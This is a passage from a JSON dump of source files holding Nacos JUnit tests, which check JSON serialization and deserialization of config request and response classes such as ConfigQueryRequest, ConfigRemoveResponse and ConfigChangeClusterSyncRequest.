    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigQueryRequestTest extends BasedConfigRequestTest {\n    \n    ConfigQueryRequest configQueryRequest;\n    \n    Map<String, String> headers = new HashMap<>();\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        headers.put(Constants.Config.NOTIFY_HEADER, Boolean.TRUE.toString());\n        configQueryRequest = ConfigQueryRequest.build(DATA_ID, GROUP, TENANT);\n        configQueryRequest.putAllHeader(headers);\n        configQueryRequest.setTag(TAG);\n        requestId = injectRequestUuId(configQueryRequest);\n    }\n    \n    @Test\n    void testIsNotify() {\n        assertTrue(configQueryRequest.isNotify());\n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configQueryRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"\" + DATA_ID));\n        assertTrue(json.contains(\"\\\"group\\\":\\\"\" + GROUP));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"\" + TENANT));\n        assertTrue(json.contains(\"\\\"tag\\\":\\\"\" + TAG));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"notify\\\":\\\"true\\\"},\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\\\"group\\\",\"\n                + \"\\\"tenant\\\":\\\"test_tenant\\\",\\\"notify\\\":true,\\\"module\\\":\\\"config\\\",\\\"tag\\\":\\\"tag\\\"}\";\n        ConfigQueryRequest actual = mapper.readValue(json, ConfigQueryRequest.class);\n        assertEquals(DATA_ID, actual.getDataId());\n        assertEquals(GROUP, actual.getGroup());\n        assertEquals(TENANT, actual.getTenant());\n        assertEquals(TAG, actual.getTag());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigRemoveRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigRemoveRequestTest extends BasedConfigRequestTest {\n    \n    ConfigRemoveRequest configRemoveRequest;\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        configRemoveRequest = new ConfigRemoveRequest(DATA_ID, GROUP, TENANT, TAG);\n        requestId = injectRequestUuId(configRemoveRequest);\n        \n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configRemoveRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"\" + DATA_ID));\n        assertTrue(json.contains(\"\\\"group\\\":\\\"\" + GROUP));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"\" + TENANT));\n        assertTrue(json.contains(\"\\\"tag\\\":\\\"\" + TAG));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        \n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\\\"group\\\",\\\"tenant\\\":\\\"test_tenant\\\"\"\n                + \",\\\"tag\\\":\\\"tag\\\",\\\"module\\\":\\\"config\\\"}\";\n        ConfigRemoveRequest actual = mapper.readValue(json, ConfigRemoveRequest.class);\n        assertEquals(DATA_ID, actual.getDataId());\n        assertEquals(GROUP, actual.getGroup());\n        assertEquals(TENANT, actual.getTenant());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(TAG, actual.getTag());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/cluster/ConfigChangeClusterSyncRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request.cluster;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.BasedConfigRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigChangeClusterSyncRequestTest extends BasedConfigRequestTest {\n    \n    private static final String GRAY_NAME = \"test-gray-name\";\n    \n    ConfigChangeClusterSyncRequest configChangeClusterSyncRequest;\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        configChangeClusterSyncRequest = new ConfigChangeClusterSyncRequest();\n        configChangeClusterSyncRequest.setDataId(DATA_ID);\n        configChangeClusterSyncRequest.setGroup(GROUP);\n        configChangeClusterSyncRequest.setTenant(TENANT);\n        configChangeClusterSyncRequest.setTag(TAG);\n        configChangeClusterSyncRequest.setBeta(Boolean.TRUE);\n        configChangeClusterSyncRequest.setLastModified(0L);\n        configChangeClusterSyncRequest.setGrayName(GRAY_NAME);\n        configChangeClusterSyncRequest.putAllHeader(HEADERS);\n        requestId = injectRequestUuId(configChangeClusterSyncRequest);\n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configChangeClusterSyncRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"\" + DATA_ID));\n        assertTrue(json.contains(\"\\\"group\\\":\\\"\" + GROUP));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"\" + TENANT));\n        assertTrue(json.contains(\"\\\"tag\\\":\\\"\" + TAG));\n        assertTrue(json.contains(\"\\\"beta\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"lastModified\\\":\" + 0));\n        assertTrue(json.contains(\"\\\"grayName\\\":\\\"\" + GRAY_NAME));\n        \n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json =\n                \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"requestId\\\":\\\"ece89111-3c42-4055-aca4-c95e16ec564b\\\",\\\"dataId\\\":\\\"test_data\\\",\"\n                        + \"\\\"group\\\":\\\"group\\\",\\\"tenant\\\":\\\"test_tenant\\\",\"\n                        + \"\\\"tag\\\":\\\"tag\\\",\\\"lastModified\\\":0,\\\"beta\\\":true,\\\"grayName\\\":\\\"test-gray-name\\\",\\\"module\\\":\\\"config\\\"}\";\n        ConfigChangeClusterSyncRequest actual = mapper.readValue(json, ConfigChangeClusterSyncRequest.class);\n        assertEquals(DATA_ID, actual.getDataId());\n        assertEquals(GROUP, actual.getGroup());\n        assertEquals(TENANT, actual.getTenant());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(0L, actual.getLastModified());\n        assertEquals(GRAY_NAME, actual.getGrayName());\n        assertTrue(actual.isBeta());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/BasedConfigResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.config.remote.request.BasedConfigRequestTest;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.fasterxml.jackson.core.JsonProcessingException;\n\nimport java.util.UUID;\n\npublic abstract class BasedConfigResponseTest extends BasedConfigRequestTest {\n    \n    protected String requestId;\n    \n    @Override\n    public void testSerialize() throws JsonProcessingException {\n    \n    }\n    \n    @Override\n    public void testDeserialize() throws JsonProcessingException {\n    \n    }\n    \n    public abstract void testSerializeSuccessResponse() throws JsonProcessingException;\n    \n    public abstract void testSerializeFailResponse() throws JsonProcessingException;\n    \n    protected String injectResponseUuId(Response response) {\n        String uuid = UUID.randomUUID().toString();\n        response.setRequestId(uuid);\n        return uuid;\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ClientConfigMetricResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class ClientConfigMetricResponseTest extends BasedConfigResponseTest {\n    \n    ClientConfigMetricResponse clientConfigMetricResponse;\n    \n    Map<String, Object> metric = new HashMap<>(16);\n    \n    @BeforeEach\n    void before() {\n        metric.put(\"m1\", \"v1\");\n        clientConfigMetricResponse = new ClientConfigMetricResponse();\n        clientConfigMetricResponse.setMetrics(metric);\n        clientConfigMetricResponse.putMetric(\"m2\", \"v2\");\n        requestId = injectResponseUuId(clientConfigMetricResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(clientConfigMetricResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n    }\n    \n    @Override\n    public void testSerializeFailResponse() throws JsonProcessingException {\n    \n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"6ef9237b-24f3-448a-87fc-713f18ee06a1\\\",\"\n                + \"\\\"metrics\\\":{\\\"m1\\\":\\\"v1\\\",\\\"m2\\\":\\\"v2\\\"},\\\"success\\\":true}\";\n        ClientConfigMetricResponse actual = mapper.readValue(json, ClientConfigMetricResponse.class);\n        assertTrue(actual.isSuccess());\n        assertEquals(actual.getResultCode(), ResponseCode.SUCCESS.getCode());\n        assertEquals(actual.getMetrics(), metric);\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ConfigChangeBatchListenResponseTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigChangeBatchListenResponseTest extends BasedConfigResponseTest {\n    \n    ConfigChangeBatchListenResponse configChangeBatchListenResponse;\n    \n    @BeforeEach\n    void before() {\n        configChangeBatchListenResponse = new ConfigChangeBatchListenResponse();\n        requestId = injectResponseUuId(configChangeBatchListenResponse);\n        configChangeBatchListenResponse.addChangeConfig(DATA_ID, GROUP, TENANT);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configChangeBatchListenResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\n                \"\\\"changedConfigs\\\":[{\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\\\"group\\\",\\\"tenant\\\":\\\"test_tenant\\\"}]\"));\n    }\n    \n    @Override\n    @Test\n    public void testSerializeFailResponse() throws JsonProcessingException {\n        ConfigChangeBatchListenResponse configChangeBatchListenResponse = ConfigChangeBatchListenResponse.buildFailResponse(\n                \"Fail\");\n        String json = mapper.writeValueAsString(configChangeBatchListenResponse);\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.FAIL.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"Fail\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"061e36b0-c7bd-4fd0-950c-73b13ca1cb2f\\\",\"\n                + \"\\\"changedConfigs\\\":[{\\\"group\\\":\\\"group\\\",\\\"dataId\\\":\\\"test_data\\\",\\\"tenant\\\":\\\"test_tenant\\\"}],\\\"success\\\":true}\";\n        ConfigChangeBatchListenResponse actual = mapper.readValue(json, ConfigChangeBatchListenResponse.class);\n        assertTrue(actual.isSuccess());\n        assertEquals(ResponseCode.SUCCESS.getCode(), actual.getResultCode());\n        assertEquals(\"061e36b0-c7bd-4fd0-950c-73b13ca1cb2f\", actual.getRequestId());\n        assertEquals(TENANT, actual.getChangedConfigs().get(0).getTenant());\n        assertEquals(GROUP, actual.getChangedConfigs().get(0).getGroup());\n        assertEquals(DATA_ID, actual.getChangedConfigs().get(0).getDataId());\n        assertEquals(\"ConfigContext{group='group', dataId='test_data', tenant='test_tenant'}\",\n                actual.getChangedConfigs().get(0).toString());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ConfigChangeNotifyResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class ConfigChangeNotifyResponseTest extends BasedConfigResponseTest {\n    \n    ConfigChangeNotifyResponse configChangeNotifyResponse;\n    \n    @BeforeEach\n    void before() {\n        configChangeNotifyResponse = new ConfigChangeNotifyResponse();\n        requestId = injectResponseUuId(configChangeNotifyResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configChangeNotifyResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        \n    }\n    \n    @Override\n    public void testSerializeFailResponse() throws JsonProcessingException {\n    \n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ConfigPublishResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigPublishResponseTest extends BasedConfigResponseTest {\n    \n    ConfigPublishResponse configPublishResponse;\n    \n    @BeforeEach\n    void before() {\n        configPublishResponse = ConfigPublishResponse.buildSuccessResponse();\n        requestId = injectResponseUuId(configPublishResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configPublishResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n    }\n    \n    @Override\n    @Test\n    public void testSerializeFailResponse() throws JsonProcessingException {\n        ConfigPublishResponse configPublishResponse = ConfigPublishResponse.buildFailResponse(500, \"Fail\");\n        String json = mapper.writeValueAsString(configPublishResponse);\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.FAIL.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"Fail\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ConfigQueryResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigQueryResponseTest extends BasedConfigResponseTest {\n    \n    ConfigQueryResponse configQueryResponse;\n    \n    @BeforeEach\n    void before() {\n        configQueryResponse = ConfigQueryResponse.buildSuccessResponse(\"success\");\n        configQueryResponse.setContentType(\"text\");\n        configQueryResponse.setEncryptedDataKey(\"encryptedKey\");\n        configQueryResponse.setLastModified(1111111L);\n        configQueryResponse.setMd5(MD5);\n        configQueryResponse.setTag(TAG);\n        requestId = injectResponseUuId(configQueryResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configQueryResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"md5\\\":\\\"\" + MD5 + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"content\\\":\\\"success\\\"\"));\n        assertTrue(json.contains(\"\\\"contentType\\\":\\\"text\\\"\"));\n        assertTrue(json.contains(\"\\\"lastModified\\\":1111111\"));\n    }\n    \n    @Override\n    @Test\n    public void testSerializeFailResponse() throws JsonProcessingException {\n        ConfigQueryResponse configQueryResponse = ConfigQueryResponse.buildFailResponse(500, \"Fail\");\n        String json = mapper.writeValueAsString(configQueryResponse);\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.FAIL.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"Fail\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"2239753e-e682-441c-83cf-fb8129ca68a4\\\",\"\n                + \"\\\"content\\\":\\\"success\\\",\\\"encryptedDataKey\\\":\\\"encryptedKey\\\",\\\"contentType\\\":\\\"text\\\",\\\"md5\\\":\\\"test_MD5\\\",\"\n                + \"\\\"lastModified\\\":1111111,\\\"tag\\\":\\\"tag\\\",\\\"beta\\\":false,\\\"success\\\":true}\\n\";\n        ConfigQueryResponse actual = mapper.readValue(json, ConfigQueryResponse.class);\n        assertTrue(actual.isSuccess());\n        assertEquals(ResponseCode.SUCCESS.getCode(), actual.getResultCode());\n        assertEquals(\"success\", actual.getContent());\n        assertEquals(\"text\", actual.getContentType());\n        assertEquals(\"2239753e-e682-441c-83cf-fb8129ca68a4\", actual.getRequestId());\n        assertEquals(MD5, actual.getMd5());\n        assertEquals(TAG, actual.getTag());\n        assertEquals(\"text\", actual.getContentType());\n        assertEquals(1111111L, actual.getLastModified());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/ConfigRemoveResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigRemoveResponseTest extends BasedConfigResponseTest {\n    \n    ConfigRemoveResponse configRemoveResponse;\n    \n    @BeforeEach\n    void before() {\n        configRemoveResponse = ConfigRemoveResponse.buildSuccessResponse();\n        requestId = injectResponseUuId(configRemoveResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configRemoveResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n    }\n    \n    @Override\n    @Test\n    public void testSerializeFailResponse() throws JsonProcessingException {\n        ConfigRemoveResponse configRemoveResponse = ConfigRemoveResponse.buildFailResponse(\"Fail\");\n        String json = mapper.writeValueAsString(configRemoveResponse);\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.FAIL.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"Fail\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/response/cluster/ConfigChangeClusterSyncResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response.cluster;\n\nimport com.alibaba.nacos.api.config.remote.response.BasedConfigResponseTest;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic class ConfigChangeClusterSyncResponseTest extends BasedConfigResponseTest {\n    \n    ConfigChangeClusterSyncResponse configChangeClusterSyncResponse;\n    \n    @BeforeEach\n    void before() {\n        configChangeClusterSyncResponse = new ConfigChangeClusterSyncResponse();\n        requestId = injectResponseUuId(configChangeClusterSyncResponse);\n    }\n    \n    @Override\n    @Test\n    public void testSerializeSuccessResponse() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configChangeClusterSyncResponse);\n        assertTrue(json.contains(\"\\\"success\\\":\" + Boolean.TRUE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n        assertTrue(json.contains(\"\\\"resultCode\\\":\" + ResponseCode.SUCCESS.getCode()));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n    }\n    \n    @Override\n    public void testSerializeFailResponse() throws JsonProcessingException {\n    \n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/exception/NacosExceptionTest.java",
